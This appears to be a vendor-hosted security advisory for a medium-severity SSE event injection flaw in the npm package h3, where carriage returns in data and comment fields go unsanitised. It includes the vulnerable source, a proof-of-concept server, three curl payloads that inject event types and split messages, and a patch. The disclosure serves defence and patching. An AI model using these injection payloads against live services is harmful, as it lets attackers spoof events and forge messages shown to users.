Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

GHSA-4hxc-9384-m385 h3

MEDIUM

GHSA-4hxc-9384-m385 is a medium-severity (CVSS 5.3) CWE-74 vulnerability in h3. A fix is available for h3 — see the affected versions and patch details below.

h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)

Also known asCVE-2026-86252
Published
Mar 20, 2026
Updated
Sep 10, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-4hxc-9384-m385.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs12th percentile — riskier than 12% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-4hxc-9384-m385 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

726other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
h3npm
34.1Mdownloads / week

Description

Summary

The EventStream class in h3 fails to sanitize carriage return (\r) characters in data and comment fields. Per the SSE specification, \r is a valid line terminator, so browsers interpret injected \r as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single push() call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit 7791538 which addressed \n injection but missed \r-only injection.

Details

The prior fix in commit 7791538 added _sanitizeSingleLine() to strip \n and \r from id and event fields, and changed data formatting to split on \n. However, two code paths remain vulnerable:

1. data field — formatEventStreamMessage() (src/utils/internal/event-stream.ts:190-193)

const data = typeof message.data === "string" ? message.data : "";
for (const line of data.split("\n")) {  // Only splits on \n, not \r
  result += `data: ${line}\n`;
}

String.prototype.split("\n") does not split on \r. A string like "legit\revent: evil" remains as a single "line" and is emitted as:

data: legit\revent: evil\n

Per the SSE specification §9.2.6, \r alone is a valid line terminator. The browser parses this as two separate lines:

data: legit
event: evil

2. comment field — formatEventStreamComment() (src/utils/internal/event-stream.ts:170-177)

export function formatEventStreamComment(comment: string): string {
  return (
    comment
      .split("\n")  // Only splits on \n, not \r
      .map((l) => `: ${l}\n`)
      .join("") + "\n"
  );
}

The same split("\n") pattern means \r in comments is not handled. An input like "x\rdata: injected" produces:

: x\rdata: injected\n\n

Which the browser parses as a comment line followed by actual data:

: x
data: injected

Why _sanitizeSingleLine doesn't help

The _sanitizeSingleLine function at line 198 correctly strips both \r and \n:

function _sanitizeSingleLine(value: string): string {
  return value.replace(/[\n\r]/g, "");
}

But it is only applied to id and event fields (lines 182, 185), not to data or comment.

PoC

Setup

Create a minimal h3 application that reflects user input into an SSE stream:

// server.mjs
import { createApp, createEventStream, defineEventHandler, getQuery } from "h3";

const app = createApp();

app.use("/sse", defineEventHandler(async (event) => {
  const stream = createEventStream(event);
  const { msg } = getQuery(event);

  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)
  await stream.push(String(msg));

  setTimeout(() => stream.close(), 1000);
  return stream.send();
}));

export default app;

Attack 1: Event type injection via \r in data

# Inject an "event: evil" directive via \r in data
curl -N --no-buffer "http://localhost:3000/sse?msg=legit%0Devent:%20evil"

Expected (safe) wire output:

data: legit\revent: evil\n\n

Browser parses as:

data: legit
event: evil

The browser's EventSource fires a custom evil event instead of the default message event, potentially routing data to unintended handlers.

Attack 2: Message boundary injection (event splitting)

# Inject a message boundary (\r\r = empty line) to split one push() into two events
curl -N --no-buffer "http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected"

Browser parses as two separate events:

  1. Event 1: data: first
  2. Event 2: data: injected

A single push() call produces two distinct events in the browser — the attacker controls the second event's content entirely.

Attack 3: Comment escape to data injection

# Inject via pushComment() — escape from comment into data
curl -N --no-buffer "http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected"

Browser parses as:

: x          (comment, ignored)
data: injected  (real data, dispatched as event)

Impact

  • Event spoofing: Attacker can inject arbitrary event: types, causing browsers to dispatch events to different EventSource.addEventListener() handlers than intended. In applications that use custom event types for control flow (e.g., error, done, system), this enables UI manipulation.
  • Message boundary injection: A single push() call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected "system" message could appear in an AI chat interface.
  • Comment-to-data escalation: Data can be injected through what the application considers a harmless comment field via pushComment().
  • Bypass of existing security control: The prior fix (commit 7791538) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.

Recommended Fix

Both formatEventStreamMessage and formatEventStreamComment should split on \r, \n, and \r\n — matching the SSE spec's line terminator definition.

// src/utils/internal/event-stream.ts

// Add a shared regex for SSE line terminators
const SSE_LINE_SPLIT = /\r\n|\r|\n/;

export function formatEventStreamComment(comment: string): string {
  return (
    comment
      .split(SSE_LINE_SPLIT)  // was: .split("\n")
      .map((l) => `: ${l}\n`)
      .join("") + "\n"
  );
}

export function formatEventStreamMessage(message: EventStreamMessage): string {
  let result = "";
  if (message.id) {
    result += `id: ${_sanitizeSingleLine(message.id)}\n`;
  }
  if (message.event) {
    result += `event: ${_sanitizeSingleLine(message.event)}\n`;
  }
  if (typeof message.retry === "number" && Number.isInteger(message.retry)) {
    result += `retry: ${message.retry}\n`;
  }
  const data = typeof message.data === "string" ? message.data : "";
  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split("\n")
    result += `data: ${line}\n`;
  }
  result += "\n";
  return result;
}

This ensures all three SSE-spec line terminators (\r\n, \r, \n) are properly handled as line boundaries, preventing \r from being passed through to the browser where it would be interpreted as a line break.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmh32.0.0-beta.0&&< 2.0.1-rc.172.0.1-rc.17npm install h3@2.0.1-rc.17
📦npmh3all versions1.15.9npm install h3@1.15.9

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for h3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update h3 to 2.0.1-rc.17 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4hxc-9384-m385 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-4hxc-9384-m385 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-4hxc-9384-m385. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `EventStream` class in h3 fails to sanitize carriage return (`\r`) characters in `data` and `comment` fields. Per the SSE specification, `\r` is a valid line terminator, so browsers interpret injected `\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\n` injection but missed `\r`-only injection. ## Details The prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\n` a
O3 Security · Impact-Aware SCA

Is GHSA-4hxc-9384-m385 in your dependencies?

O3 Security finds GHSA-4hxc-9384-m385 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-4hxc-9384-m385: h3 (Medium 5.3) | O3 Security